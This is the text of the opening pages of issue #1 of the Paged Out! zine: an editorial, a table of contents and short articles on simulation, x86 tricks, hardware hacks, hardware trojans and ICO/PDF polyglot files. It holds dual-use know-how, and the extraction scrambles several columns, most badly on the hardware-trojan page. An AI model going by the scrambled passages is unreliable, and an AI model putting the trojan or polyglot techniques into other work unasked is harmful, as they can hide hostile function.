Sie sind auf Seite 1von 66

Paged Out!

is what happens when a technical reviewer sees too


many 20-page long programming articles in a short period of
time. Though that's only part of the story. The idea of an
experimental zine focusing on very short articles spawned in my
mind around a year ago and was slowly — almost unconsciously
Paged Out! Institute — developing in my head until early 2019, when I finally decided
https://pagedout.institute/ that this whole thing might actually work (even given my chronic
lack of time).

Project Lead Why short articles in the first place, you ask? They are faster to
Gynvael Coldwind read, faster to write, faster to review, and it's fully acceptable to
write a one-pager on this one cool trick you just used in a
project / exploit. Furthermore, as is the case with various forms
Executive Assistant of constraint programming and code golfing, I believe adding
Arashi Coldwind some limitations might push one to conjure up interesting tricks
while constructing the article (especially if the author has
DTP Programmer almost full control of the article's layout) and also, hopefully,
increase the knowledge-to-space ratio.
foxtrot_charlie
Giving authors freedom to arrange the layout as they please has
DTP Advisor interesting consequences by itself. First of all, we can totally
tusiak_charlie dodge a standard DTP process – after all, we get PDFs that
already use the final layouts and can be merged into an issue
with just a set of scripts (therefore our Institute has a DTP
Lead Reviewers Programmer instead of a DTP Artist). Secondly, well, every
Mateusz "j00ru" Jurczyk article looks distinctly different — this is the reason I say our
KrzaQ project is "experimental" — because nobody can predict
whether this artistic chaos of a magazine will get accepted by
our technical community. And thirdly, merging PDFs is a pretty
Reviewers interesting technical challenge by itself – and even though I fully
kele believe in our DTP Programmer, I do realize it might take a few
disconnect3d issues to get an optimal PDF.

As for the variety of topics in our zine – programming, hacking,


gamedev, electronics, OS internals, demoscene, radio, and so on,
We would also like to thank: and so forth – what can I say, I just wrote down the areas I
personally find fascinating, enchanting and delightful.
Artist (cover)
To finish up, I would like to wish our readers an enjoyable
ReFiend(deviantart.com/refiend) experience with the first issue of the free Paged Out! zine. And in
case you have any feedback, please don't hesitate to email
Additional Art gynvael@pagedout.institute.
cgartists (cgartists.eu)
Have Fun, Good Luck!

Templates
Matt Miller Gynvael Coldwind
wiechu Project Lead
Mariusz "oshogbo" Zaborski
Legal Note
Issue #1 Donators This zine is free! Feel free to share it around. 😎
Mohamed Saher (halsten) Licenses for most articles allow anyone to record audio versions and post
them online — it might make a cool podcast or be useful for the visually
impaired.
If you would like to mass-print some copies to give away, the print files are
If you like Paged Out!, available on our website (in A4 and US Letter formats, 300 DPI).
If you would like to sell printed copies, please contact the Institute.
let your friends know about it! When in legal doubt, check the given article's license or contact us.
Accelerating simulations by clustering bodies using....................................................................................................................6
Multi-bitness x86 code.........................................................................................................................................................................7
AVR debug env for CTF and profit? Nah.............................................................................................................................................8
chubby75..................................................................................................................................................................................................9
Hackulele................................................................................................................................................................................................10
w00zek....................................................................................................................................................................................................11
Hacking Guitar Hero.............................................................................................................................................................................12
Hardware Trojans Explained...............................................................................................................................................................13
A guide to ICO/PDF polyglot files......................................................................................................................................................14
PNG Themed Python Code Golf ........................................................................................................................................................15
Adding any external data to any PDF...............................................................................................................................................17
The \TeX{}nicalities of Paper Folding...............................................................................................................................................18
Windows Syscall Quiz..........................................................................................................................................................................19
Let Your Server Anwser the Phone..................................................................................................................................................20
A Python Pwnliner's Tale.....................................................................................................................................................................21
Javascript - Global Variables.............................................................................................................................................................22
Bomb Out!...............................................................................................................................................................................................23
quinesnake - a quine that plays snake over it's own source!....................................................................................................24
Emulating virtual functions in Go.....................................................................................................................................................25
Intro to Embedded Resources in Windows Apps..........................................................................................................................26
Introduction to ptrace - injecting code into a running process.................................................................................................28
Strings & bytes in Python 3...............................................................................................................................................................29
CP850 cmd game in C# .NET..............................................................................................................................................................30
from cpython_exploit_ellipsis import *............................................................................................................................................31
A parser-generator in 100 lines of C++...........................................................................................................................................32
Rome golfing..........................................................................................................................................................................................33
Does order of variable declarations matter?.................................................................................................................................34
Bootcard.................................................................................................................................................................................................35
Designing adder circuit for Fibonacci representation.................................................................................................................36
A box of tools to spy on Java.............................................................................................................................................................37
TRF7970A forgotten features for HydraNFC................................................................................................................................39
Build your own controller for NES!....................................................................................................................................................40
Wobble the Nintendo logo on the Game Boy.................................................................................................................................41
HOW TO: unboringly tease GoogleCTF 2019.................................................................................................................................42
HOW TO: easily get started with radare2.......................................................................................................................................43
Crackme Solving for the Lazies.........................................................................................................................................................44
Android Reverse Engineering............................................................................................................................................................45
anti-RE for fun.......................................................................................................................................................................................46
Reverse Engineering File Format From Scratch............................................................................................................................47
Back to the BASICs..............................................................................................................................................................................48
AndroidProjectCreator........................................................................................................................................................................50
Reverse Shell With Auth For Linux64..............................................................................................................................................51
On escalating your bug bounty findings.........................................................................................................................................52
Fun with process descriptors............................................................................................................................................................53
Windows EPROCESS Exploitation....................................................................................................................................................54
MOV your Exploit Development Workflow to [r2land].................................................................................................................55
DNS Reflection done right..................................................................................................................................................................56
The Router Security Is Decadent and Depraved...........................................................................................................................57
PIDU - Process Injection and Dumping Utility................................................................................................................................58
Exploiting FreeBSD-SA-19:02.fd......................................................................................................................................................59
Semantic gap.........................................................................................................................................................................................60
Using Binary Ninja to find format string vulns in Binary Ninja....................................................................................................61
Injecting HTML: Beyond XSS..............................................................................................................................................................62
Building ROP with floats and OpenType..........................................................................................................................................63
Scrambled: Rubik's Cube based steganography..........................................................................................................................64
Rsync - the new cp...............................................................................................................................................................................65
What to pack for a deserted Linux Island?.....................................................................................................................................66

4

Dearest neighbors,
n 19th century America, there were books
made specifically for the frontiersman who
couldn’t carry a library. The idea was that
if you were setting out to homestead in the
wild blue yonder, one properly assembled book could
teach you everything you needed to know that wasn’t
told in the family bible. How to make ink from the
green husks around walnuts, how to grow food from
wild seeds, and how to build a shelter from scruffy little
trees when there’s not yet time to fell hardwood. You
might even learn to make medicines, though I’d caution
against any recipes involving nightshade or mercury.
Now that the 21st century and its newfangled ways
are upon us, the fine folks at No Starch Press have seen
fit to print the collected works of The International
Journal of Proof of Concept or Get the Fuck Out—our
first fourteen releases—in two classy tomes, bound in
the finest faux leather, on over fifteen hundred pages
of thin paper, with ribbons to keep your place while
studying. You will see practical examples of how to
write exploits for ancient and modern architectures,
how to patch emulators to prototype hardware back-
doors that would be beyond a hobbyist’s budget, and
how to break bad cryptography. You will learn more
about file formats than you ever believed possible, and
a little about how to photograph microchips and circuit
boards for reverse engineering.
This fine collection was carefully indexed and cross-
referenced, with twenty-four full color pages of Ange
Albertini’s file format illustrations to help understand Use discount code APAIROFPOC
our polyglots. But above all else, beyond the nifty for 40% off of both volumes.
tricks and silly songs, these books exist to remind you
what a clever engineer can build from a box of parts
with a bit of free time. Not to show you what others https://nostarch.com/gtfo
have done, but to show you how they did it so that you
can do the same. https://nostarch.com/gtfo2
Your neighbor,
Pastor Manul Laphroaig
Algorithmics Accelerating simulations by clustering bodies using...

Accelerating simulations by clustering


bodies using the Barnes-Hut algorithm
Simulating forces such as gravity is a demanding
task, because of the interactions every object has with all
B
the other objects. With n objects, there are n − 1 forces C
A A H
acting on each body, so all in all, there are n · (n − 1) D
forces acting. The Barnes-Hut algorithm can be used
to approximate the forces that need to be calculated by E D E F G
clustering the objects, sacrificing accuracy. In order to
take those clusters into effect, the algorithm takes the F G H B C
size of the individual clusters and their distance to the
respective object into account. (a) Cell representation (b) Tree representation

Figure 2: Visual representations of the same Barnes-Hut tree.


(http://arborjs.org/docs/barnes-hut)
r s1
The tree in Figure 2b describes the cells from Figure
2a - top left, top right, bottom left and bottom right are
depicted as a new layer in the tree accordingly. While
d building the tree, we are going to store the center of grav-
q1 r s 1 ity and the total mass of each inner node. The complete
process of simulating the force acting on a single star
works in the following way:
Figure 1: A cluster of stars that is far enough away from a single We walk through the tree starting from the root in
star can be abstracted as a single point in space. the direction of the leaves, using dr < θ as the end condi-
tion. We use θ as a threshold for controlling how many
d forces to take into account (0 ≤ θ ≤ 1). The force acting
θ= (1)
r on a star is calculated when a leaf is reached or when an
end-condition is met (thus resulting in no further recur-
The above equation describes how to cluster the ob- sion into the tree from that node on).
jects. If a body (s1 ) is far away from a small cluster Experimenting with the value of θ on the dataset
(r ≫ d), θ gets very small and the cluster in which can optimize the runtime from O(n2 ) to as low as
the body is located can be abstracted to a single point. O(n · log(n)). This means that if we’ve got 2 · 108 bodies
0 ≤ θ ≤ 1 is provided by the user as a threshold impact- and can calculate the forces acting on 106 bodies per sec-
ing the accuracy and the speed of the simulation. Its ond, the total runtime is reduced from about 1200 Years
value should be tuned in depending on the given data, down to 45 minutes optimally (the time to build the tree
as it decides which stars are approximated as a single is an actual computational complexity (Θ(n · log(n))),
cluster. not a measured runtime and does not depend on θ ).
Everything is based on the stars being in a tree, so This principle can also be applied to other types of
we need to subdivide the space into cells. Such a subdi- problems such as simulating molecules. If you come to
vision can be seen in Figure 2a and the process can be do something with it, don’t mind writing to me!
seen on the bottom of this page.
When calculating the forces affecting the object F in
Figure 2a, the Barnes-Hut algorithm does not consider @hanemile on most platforms.
all objects indvidually, but only the ones that fall over
the threshold θ. For the object F , this means that the
Objects B and C are not calculated independently, but
as a single object (a new abstract object is created in
the center of gravity of B and C).

B B
B
C
A A A B A A C A

We start with an empty space We insert the Star A Inserting B: Subdivide, shift A, Inserting C: Subdivide, shift A,
shift B from root shift C from root

https://github.com/hanemile Emile
https://twitter.com/hanemile SAA-ALL 0.0.5
6
Multi-bitness x86 code Assembly

I first needed a trick of this kind nearly 20 years ago,


when I was working on a variant of unreal mode that Multi-bitness x86 code
allowed for 32-bit code segments. I wanted a common
interrupt table that would not need rewriting back and
forth, so my interrupt handlers had to detect if CS was Tomasz Grysztar
a 32-bit segment and in that case switch back to regular tgrysztar@flatassembler.net
real mode before calling the original vector (a 16-bit
BIOS or DOS service). The snippet I used looked like:
hex use16 use32 When an interrupt happens, the flags
3D 77 77 cmp ax,7777h cmp eax,0??EB7777h get stored on the stack, so it was not
EB ?? jmp already16bit a big deal that CMP altered a few of
them.
I thought this was a fun solution, but then I found out
that it was actually possible to move IDT base in real
mode, what made this trick obsolete.

Not long after, I was learning of the then-upcoming believe that perhaps some of existing machine code could
x86‑64 architecture (an official name at the time) and run correctly in 64-bit segment without any alterations.
I  noticed that 32‑bit instructions were mostly encoded Later I realized that many small obstacles made it not
the same in the new mode. Only things like addresses really viable in general, though certainly possible for
and stack elements were promoted to 64-bit auto‐ some small snippets, like this one that converts slashes
matically, other sizes stayed as they were unless a REX to backslashes in a UCS-2/UTF-16 string at ESI/RSI:
prefix was used. It stirred my imagination and made me
hex use32 use64
56 push esi push rsi
convert: convert:
66 AD lods word [esi] lods word [rsi]
66 85 C0 test ax,ax test ax,ax
74 0E jz done jz done
66 83 F8 2F cmp ax,'/' cmp ax,'/'
75 F3 jne convert jne convert
66 C7 46 FE 5C 00 mov word [esi-2],'\' mov word [rsi-2],'\'
EB EB jmp convert jmp convert
done: done:
5E pop esi pop rsi

I never really needed a variant of my trick that would


distinguish 64-bit mode from 32-bit one. But years later
In 64-bit mode a CMP instruction is
I learned that there are sightings of similar contrivances
still 32-bit by default, so I could not
in the  wild, even if made for purposes much different simply reuse the old method.
than mine. It  made me think about upgrading my own
snippet.
I came up with this one:
This one does not touch any flags, but
hex use64 use32 trashes EAX. It can be changed to use
67 8D 06 lea eax,[esi] lea eax,[word 0??EBh] another register, but it always needs
EB ?? jmp is64bit
to sacrifice one.
Modern processors also got a new opcode that enables
a completely transparent variant:
hex use64 use32 The operand of this instruction is
67 0F 1F 06 nop [esi] nop [word 0??EBh] decoded but nothing more is done
EB ?? jmp is64bit with it. The  address does not have to
be valid.
It might even be made into a three-way switch, for an
unlikely occurrence that the code might get executed in
16-bit mode: Why would you ever need to tell
hex use64 16‑bit mode from 64-bit one? I don't
67 0F 1F 06 nop [esi] know!
EB ?? jmp short not32bit
; 32-bit mode detected...
not32bit: As a bonus, here comes another three-way detector that
0F 1F 06 nop [rsi] simply does not care about preserving flags or registers.
EB ?? jmp short is64bit What makes it interesting is perhaps that its intent is
; 16-bit mode detected... obscured when only looking at 64-bit disassembly. But
is64bit: after reading this you might not get fooled anymore!
; 64-bit mode detected...
hex use16 use32 use64
48 dec ax dec eax mov rax,0??EB??EB??EB??EBh
B8 EB ?? mov ax,0??EBh mov eax,0??EB??EBh
EB ?? jmp is16bit The extra copies of 0EBh that never
EB ?? jmp is32bit jmp is32bit get executed serve no real purpose,
EB ?? jmp unreachable jmp unreachable they just complete a nice pattern.

Tomasz Grysztar https://twitter.com/grysztar


https://flatassembler.net
SAA-ALL 0.0.5
7
Assembly AVR debug env for CTF and profit? Nah...

Modify line:
AVR debug env for CTF ../$NAME_GDB/configure --prefix=$PREFIX –target=avr
Add Python support:
and profit? Nah… ../$NAME_GDB/configure --prefix=$PREFIX --with-python –target=avr

I recently came across some CTF challenges based on Then run the script: it should automate most of the
Arduino/ATmega bin/Intel HEX. I lost some time in things for you. At the end, if you installed the Dashboard
setting up a debug environment, so I'd like to share here GDB interface, you’ll have your shiny debugger ready to
my quick installation guide. be used in:

/usr/local/avr/bin/avr-gdb
1) I don't have a board… damn… OK, I'll go with
software Remember to review the log file in case of errors: for
If you don’t have a board with a JTAG or similar interface, example I missed a “missing package” for “texinfo” the
the easiest way is to go with software: first time.
https://github.com/buserror/simavr
3) but… but… GDB behaves in a strange way...
Quick installation guide: So, quick cheat sheet for the avr-gdb. To connect to the
(requires avr-gcc, avr-libc, freeglut3-dev)
running simavr:
# git clone https://github.com/buserror/simavr
(gdb) target remote localhost:1234
# cd simavr
# make
Remember that the program is stopped, so if you want
The only trick here is how to run it: to run it, just type “c” to continue.

#./examples/board_simduino/obj-x86_64-linux-gnu/simduino.elf -d To review the memory allocation:


<path_to_hex_file>
(gdb) info mem
Now you have a sketch file started and waiting on
instruction address 0, with a GDB port (port 1234). You usually see that the FLASH is allocated at
0x00000000 and the SRAM at 0x00800000. Here a tricky
2) OK, and now? How can I attach a debugger? part: if you set a breakpoint the usual way (with
You need to use an avr-gdb debugger. The problem is command b *0x00000101), it will be placed in SRAM… so
that with most of the distros, this is not coming with not very useful. If you want to place it in FLASH, you
Python support enabled, so you can’t have a decent have to use the following syntax:
interface.
I used Dashboard: https://github.com/cyrus-and/gdb- (gdb) b *(void(*)()) 0x00000101
dashboard). See screen on top.
OK, so you are ready to debug and find your next flag…
To get a working copy with Python extension I grabbed happy hacking!
the scripts at: Cesare “red5heep” Pizzi
https://github.com/igormiktor/build-avr-gcc
then modified the script build-avr-gdb.

https://github.com/cecio/ Cesare Pizzi


CC0
8
chubby75 Electronics

chubby75 github.com/q3k/chubby75
repository licensed under CC-0
Tur n t h i s
l
b oring old
controlle
r
Ever needed a cheap FPGA board to just throw into a
LE D p an e a r d!
project somewhere? Are you bothered by the fact that the t o a n F P GA devbo
most GPIO you usually get is a measly Arduino header? in
Look no further!
Chubby75 is an effort to reverse engineer an LED panel
controller board (identified RV901T, available on
Aliexpress for around $20), that just happens to contain:
- a Spartan 6 LX15 FPGA
- 2x Gigabit Ethernet with PHYs As s
- 8MBytes of SDRAM on I een
- over 70 5V GPIOs RC!
We provide extensive documentation to turn this board
into an FPGA development board for education and
research. And, given enough effort, you might even be able
to write a proper open source stack for controlling LED
panels!
We also provide support for Migen/MiSoC/LiteX, so you You might be wondering - how do you document a 4 layer
can define your digital logic in Python. To blink an LED PCB and get a full pinout of all the connectors?
run the following Python code in the Chubby75 git
checkout: We started by finding JTAG on the board. Thankfully, it's
marked on the silkscreen, so we just had to scrape the
from migen import * soldermask off and solder to it. With that, we could start
class Top(Module): running our own bitstreams on the board. But how do we
def __init__(self, platform): even know where a clock or an LED is?
# Single clock domain from external
# oscillator. We ended up taking a brute force approach. One board
osc = platform.request('clk25') was fully depopulated, sanded, and photos were taken of
self.clock_domains.cd_sys = \ every layer. This allowed us to understand some things
ClockDomain() about how the PHYs and SDRAM are connected, and how
self.comb += self.cd_sys.clk.eq(osc) to control the I/O buffers on the board. We post processed
# Blink that LED. the photos of the layers in GIMP and then layered them in
led = platform.request('user_led') Inkscape, so that we could trace and label things as we
counter = Signal(max=25000000) discovered them.
self.sync += \
If(counter == 0,
counter.eq(25000000),
led.eq(~led),
).Else(
counter.eq(counter-1))
)

# Instantiate and build for RV901T.


from platform import Platform
p = Platform()
t = Top(p)
p.build(t)
# Program over JTAG with xc3sprog and a
# Xilinx Platform Cable.
import migen.build.xilinx.programmer \
as prgs
prog = prgs.XC3SProg('xpc')
prog.load_bitstream('build/top.bit') Once we had a general idea of how things worked, we wrote
a little piece of Migen code to take all unknown pads of the
Don't forget! Using LiteX allows you to quickly integrate FPGA and make them output their identifier as a repeated
support for Ethernet (via LiteEth), and SDRAM (via ASCII string via UART. Using this, we could just probe the
LiteDRAM). And, if you want a soft core, this FPGA will two large connectors on board with a USB to UART adapter
easily fit a Lattice LM32 and a bunch of picorv32 RISC-V to immediately know what pin of the FPGA drove what pin
cores! In the repository, you'll find a working example of of the connector.
SDRAM + LM32 running C code.
Right now you will still need Xilinx's ISE suite to develop Chubby75 is a collaboration brought to you by:
for this board. However, there are efforts to bring an open Niklas Fauth, Jan Henrik, q3k, carrotIndustries,
source toolchain to Spartan 6 FPGAs, so keep your eyes enjoydigital, jeanthom, informatic and many others.
peeled!

q3k twitter.com/q3k
CC BY 4.0
9
Electronics Hackulele

HACKULELE
INSIDE THE FRETBOARD
Hooking up your logic analyzer on SDA/SCL you get a
listing of the I2C commands sent at boot time to the
IS31FL3731 chip (address 0X74).
Because all things got to be smart, China gifted us with a
Smart-Ukulele called Populele. No idea why the chip sends all these 0X08
74 08
74 08 commands, as they are nowhere in the
The point is to use a bloated, kind of ugly app to connect IS31 doc, trying to fix weird timing issues
74 FD 0B
to your uke over bluetooth, sending commands to blink 74 08 maybe? Or just sloppy coding?
the lights behind the frets. The app gamifies the learning 74 0A 00
process, has songbooks and stuff, but as all “smart” things 74 08 I just ignored and wrote a CircuitPython
74 FD 00 lib to talk to the LED matrix (main.py).
go, everyone on the App’s page complains about unreli- 74 08
able BT connection, bugs, etc. 74 00 FF The annoying part was finding what LED
74 08 address corresponded to where on the
74 02 FF fretboard.
CLOSER LOOK AT THE SMART 74 08
74 04 FF To connect to the LED matrix, pull SCL &
The “smart” part is easy to pull off from inside the instru- 74 08
SDA up with a 4.7K resistor,
74 06 FF
ment and reveals a boardy board, a lipo-y lipo, and cabley 74 08 ground INT, and set SDB as a
cables to connect to the blinky blink side. 74 08 FF ‘enable’ pin. The 5V VCC will
74 08 need more than 50mA, so
74 0A FF
74 08 don’t use an arduino GPIO.
74 0C FF
74 08
(…)
74 FD 00
FEMALE/UKE SIDE
___ ___
74 08
_____| |____| |______
74 08
| |
74 90 55
| 5V GND SCL |
74 08
| |
74 08
| SDB INT SDA |
74 91 55
|_________________________|
74 08
74 08
74 92 55
74 08
74 08
You now get full control of the
74 93 55 LEDs PWM and super fast anima-
tion update without the painful
BLE setup.

ANIMATIONS!
The library on the repo uses separate
‘Animator’ objects to update the
internal LED state.
It is heavily influenced
Main chip there is a Dialog DA14580. Unfortunately, by the Best Badge Ever
according to my logic analyzer, both TX/RX (for serial) (2018 DCFurs badge).
& SDIO/SCK (for JTAG) aren’t active: no easy hacking for
Both the CircuitPython main.py
me :’( I couldn’t get any intel on the tiny thing on the side
and BlueZ bluez.py scripts use
that’s marked 5F2 A71 TOG.
the same Animator objects.
See animations/scroll.py
BLE SNIFFING for an example.
I use the NRF52 devKit by Nordic to sniff the BLE traffic.
The output is verbose, the uke sends multiple heartbeats
per second, for some reason, probably to drain the battery
MORE INFO
faster. Link to repo with more
info, resources and docs:
The Uke’s LED matrix state is set by a 19 bytes packet
https://github.com/
sent to a GATT service (attribute handle 0X0024, UUID is
Furikuda/hackulele
0000DC8600001000800000805F9B34FB). 3 bytes per
string (G, C, E and A) are sent to set 18 LEDs (only the 18 You’ll learn about the infamous
MSB are used) as so: “Page Night” (that comes after the
8th page, and has the 0X0B identifier),
F1 AA AA AA EE EE EE CC CC CC GG GG GG 00 00
and some ideas for more research.
00 00 00 00
The bluez.py script will let you send these packets
through BlueZ.

https://github.com/furikuda/hackulele Jokull Barkson


SAA-ALL 0.0.5
10
w00zek Electronics

w00zek [ˈvuzɛk],
the motorized shopping cart

ingredients:
- one shopping cart
(gynvael wanted me to
mention that you can buy
one legally on ebay)
- one hoverboard
steps:
1) disassemble hoverboard
2) cut out hub motor brackets
from chassis with bandsaw
3) (optionally) square down
the brackets on a mill
4) remove front wheels from
cart
5) cut down a 50mm flat bar to length
and attach it to the front wheel
mounts (likely with M12 bolts)
6) drill 8mm holes in bar and attach
hoverboard motor brackets
7) mount a metal box on the bottom of the cart basket with zip-ties
or another low-tech solution
8) mount controller and battery in box
9) fasten hub motors to brackets, run cables to control box (use 3-
way electrical wiring for BLDC phases, CAT5 for hall sensors)
10) flash the controller board with
github.com/niklasfauth/hoverboard-firmware-hack
11) attach controller to a thinkpad via UART and write python code
that sends control packets
12) wear a helmet
13) try not to kill yourself

see https://wiki.hackerspace.pl/projects:w00zek
for more info, test drive footage and some control firmware code

q3k twitter.com/q3k
CC BY 4.0
11
Electronics Hacking Guitar Hero

By S01den (S01den@protonmail.com | https://github.com/S01den) Article licensed under CC-0


------------------------------------------------------------------------------------------
Like a lot of people, you probably have or had a Wii; and like most people you like Guitar Hero, so you may
have somewhere in your house an old Guitar Hero game and the guitar-shaped controller collecting dust.
If you have one, this article is made for you!
In this article, I'll explain how I hacked an old Guitar Hero controller in order to transform it into a minimalist
musical instrument.
For that, we just need a Guitar Hero controller (thanks captain obvious), an Arduino Uno, some wires, a
potentiometer, an electrodynamic loudspeaker, a resistor of 250 ohms and an NPN transistor (I used a 58050
D-331 for this project).

Before the fun part, there is a little bit of theory.


Normally, our guitar is connected to a Wiimote (the principal Wii controller). Almost all Wiimote's accessories
are controlled thanks to an I2C bus.
An Inter-Integrated Circuit (I2C) bus allows to transmit data between two components thanks to only 2 wires:
the SDA wire for the data signal (to transport data) and the SCL wire for the clock signal (to synchronize).

Sooooo basically, we just have to get the states of the controller's buttons and play different notes
depending on the button pressed.
With an Arduino (as a master), we can easily communicate through an I2C bus with the controller (which acts
as a slave, at the 7-bit address 0x52), for example this is a piece of code which begins the communication:
---------------------------------
Wire.begin(); | For this project, I wrote my own library to communicate
Wire.beginTransmission(0x52); | with the guitar.
Wire.write(0x40); | All the sources of this project are available here:
Wire.write(0x00); | https://github.com/S01den/Real_Life_GuitarHero
Wire.endTransmission(); | Play with it as you wish it.
---------------------------------
To know the function of each wire on the controller's connector, I had to desolder it and I found this
correspondence:
-----------------------------------------------------------------------
[ WIRE | FUNCTION | PIN TO CONNECT ON ARDUINO ]
-----------------------------------------------------------------------
[ BROWN | SDA | A4 ]
[ RED | GROUND | GND ]
[ WHITE(1) | SCL | A5 ]
[ WHITE(2) | POWER | 3V3 ]
-----------------------------------------------------------------------
(1): near the red wire (2): near the blue wire
The guitar is now connected to the arduino! To finish, you just need to add a potentiometer to control the
sound power, and electrodynamic speaker to emit music notes.
The music notes are generated by the tone function, called like that tone(8, note_x[k], 250); where 8 is the
pin where the speaker is connected, note_x[k] is the note played (x is an A, B, D, E or G the notes emitted by
the guitar strings) with the octave k (modifiable by pressing the + and – buttons) and 250 is the duration
(250 ms).
Just follow the scheme below (made with fritzing) and you should obtain something like that:

S01den@protonmail.com S01den
https://github.com/S01den CC0
12
Hardware Trojans Explained Electronics

Such HW t rojans a rec al


ledc omb i
nat
ional
ly
Hardware tr
igge
red.Buttherea reals
oo t
heropt
ionsavai
labl
e!
Theattac
k e
rca nc o
nt rolwhena natta
ckwi l
ltake
Trojans p
b
la
c
yc
e
o
.Thi
unti
sc
ngi
anb
ncid
ed
e
o
nt
neb
so fs
yus
e
lec
t
i
ngas
edope
r
y
a
st
t
i
e
mc
ons
.
lo
c kor

EXPLAINED!
In four simple examples!
Hardwa retr
o j
ansa rehid d
enf romus e
rfeatur
eso fa
hardwarec omp o nentwhi chc ana dd,remo veo r
mo di
fyt he func t
ional
ityo felec
troni
ce l
ement, Suchtr
oja
ns,whichareact
iva
tedbyas equenc
eo f
ther
ebyr educing i tsr el
iabil
it
yo rc reat
ing a oper
ati
ons(i
nt i
me )o
ra f
terap e
riodoft i
mea r
e
pote
nt i
althreat
. HW t roja
nc onsi
stsoftwob uil
ding cal
le
d s e
quenti
all
y tri
gger
ed.F inal
ly
, no bod
y
blo
cks:triggera ndp ayload.Payloa
di sama lic
ious pre
vent
sy oufro
m usi
ngb ot
hme t
ho d
sa toncei.
e.
mo di
fic
ationo ft hec i
rcui
tt hatchangesthes i
gnal hybr
idappr
oach:
val
ues.Tr i
ggerd eci
des whe nt oa ct
ivatet he
payl
o ad.

Sotak
eal ooka tthefigureontheleft-thes i
mp lest
cir
cuitever–t radi
t i
onalNOT
gate( aka.invert
er)t hatj ust
nega t
esthev al
ueo fthei np ut
sig
na l
.
I
ns uchco nfig
ur a
tio
n,t heattac
k e
rc ano nlyha ve RealSt
ory:Eve
ns i
mpl
emo dific
ati
ons,asa l
rea
dy
onegoal-t oc hanget hevalueo fthe‘ s’si
g na l
. di
scus
sed,canbeusedtoattackcryptoe ngi
nes.
However,heha sawi der ang
eo ftool
sa ndme tho ds Bel
owas chemat
icr
epr
ese
ntati
o noftheattac
k:
athisd i
sp o
s al
.S ol e
t’ss t
artwi t
ht hes i
mp lest
Encrypted
app
roach: Plain Data In Data Out
Crypto
Unit

Original Compromised
HW key (e.g. known bits)
key Trojan

Ac cor
d i
ngt od e
class
ifie
dd ocumentsfrom2 015,
I
nt hiss cenari
o,t he value o ft he AND g ate
Cry pt
oAG ( Swissma nufacturerofc r
yptographic
(
payload )c hangest he value o ft he ‘s’s ignal hardwa r
e),i n c ooperati
o n wi th NS A, ha s
de
p e
nd ing o n t he valueso ft he ‘ p’& ‘ q’ intr
o duc
edc o mpromised HW t os ome o fi t
s
s
ignals( tri
gger)t hatca nb eg enerat
eda ta ny customers.Thec o mpleteli
s ti
ss ti
llcl
assi
fie
d ,but
mome nto fthec i
rcui
two rk.Whod ecide
sa boutt he itisknownt hatHW wa sus edt ospyonIr a
na nd

p’&‘ q ’values?Thesesignalscanb ed eri
vedf rom Libya,fore xamp l
e.Mo d
ifica
tionswe r
ema dei n
ot
hers y s
temc omp one
nts( e.g
.s ensors)o rs ome thef ormo fha rdwaret r
ojans/b a
c k
doors,whi ch
ex
ternale vent
s( e.
g.networkmo ni
to r
).I
nf act,yo u we akent he c r
y pt
ographicp rot
e c
ti
ona tt he
maye ve nus ethes ames ignalstha tgeneratet he requestoft hea uthori
ty( ass howni nthea bove
or
igi
na l‘s’i
nput .
Justta
k ealooka tthene xtfig
ur e: fig
ur e
).Forma nyy e
ars,histor
ywa sdis
cre
d i
teda s
ac onspi
racyt heory.
Mo re:https:
//en.wiki
pe di
a.
o rg/wiki
/Crypt
o _AG

Asyous e
eiti
sno tthatdiffic
ult!I
ndeed,yo
uma y
cr
eat
es omeofthesecir
cuits“ athome”(eve
nusing
di
scr
eteeleme
nts)andl a
te rapp l
ythemtoexis
ti
ng
pr
oducts-ofco
ursef o
rfuna ndp ro
fit
!;)

Adam Kostrzewa https://adamkostrzewa.github.io/


https://twitter.com/systemWbudowany
SAA-ALL 0.0.5
13
File Formats A guide to ICO/PDF polyglot files

A guide to ICO/PDF As long as the source file contains less than 64 images
we are at this point still comfortably within the first

polyglot files 1024 bytes of the output file and can simply append the
bulk of our PDF file up to and including its last stream
object.
In this article we are going to demonstrate how to
create a polyglot file that is a valid ICO image as well outfile.write(pdf.read(OFFSETLASTSTREAM)
as a valid PDF document.
After this we extract the image data from our input
These two file formats have a couple of interesting
ICO and append them as additional stream objects with
properties that make this endeavour possible.
suitable, unique object ids.
ICO is a container format for files that can contain one
or more BMP or PNG images. An ICO file is defined OBJSTREAM HEAD = ”””{} 0 obj <<
by a 6 byte header that contains some magic bytes and /Length {}
the number of images in the file. This is followed by a >>
16 byte header each for every one of the images which stream
among other data contains the offset and size of the ”””
OBJSTREAM TAIL = ”””endstream
actual image data.
endobj
While it is common practice to have the image data
”””
start immediately after the headers this is not strictly for i in ico data:
required. Any data that is not located inside one of the outfile.write(OBJSTREAM HEAD.format(
image data areas specified in the header is ignored. obj id, i[0]).encode(’utf−8’))
The PDF file format is specified in ISO 32000. This icofile.seek(i[1], 0)
specifications requires PDF files to start with the magic ico offsets.append(outfile.tell())
byte sequence %PDF. This requirements collides with outfile.write(icofile.read(i[0]))
the ICO header. Fortunately practically all PDF libraries outfile.write(
and applications implement the Adobe supplement to the OBJSTREAM TAIL.encode(’utf−8’)
ISO 32000 which only requires the magic bytes to be )
obj id += 1
present in the first 1024 bytes of a document. This
gives us enough room to fit a ICO header with up to 63 At the end of the output file we can then simply append
sub-images before the PDF data. the rest of our source PDF.
Additionally there are several ways to include non-
visible binary data in a PDF file. This is where we are pdffile.seek(OFFSETLASTSTREAM, 0)
going to put our image data. In this particular example outfile.write(pdffile.read())
the data will be placed into stream objects which have
The last thing that remains to do now is to fix the
the following format:
offsets of the image chunks in the ICO header. Since we
OBJECT ID 0 obj saved the offsets when appending them to our output
<< file this is easily accomplished.
/Length LENGTH OF DATA
>> ico offsets.append(outfile.tell())
stream outfile.seek(18, 0)
IMG DATA for i in ico offsets:
endstream outfile.write(struct.pack(’<I’, i))
endobj outfile.seek(12, 1)

Where OBJECT ID is an unique numerical id, Now we are in possession of a ICO-PDF polyglot file
LENGTH OF DATA is the number of bytes of data that we can put to good use by e.g.:
in the stream and IMG DATA will be our image data. • embedding a CV/job posting into the favicon of our
Armed with this knowledge about the file formats and website to challenge recruiters/job seekers
an idea how to interleave them we can start to create a
file that is a valid ICO as well as a valid PDF from two • putting a manual for its easter eggs into the desktop
existing files. icon of our application
First we need to determine the number of images in
A Python implementation of the process described
the ICO file from bytes 5 and 6 of its header so we can
above including example data and ready made polyglot
copy all the headers to our output file.
files can be fount at https://github.com/tickelton/ico-
img count = struct.unpack( pdf.
’<HHH’, icofile.read(6))[2]
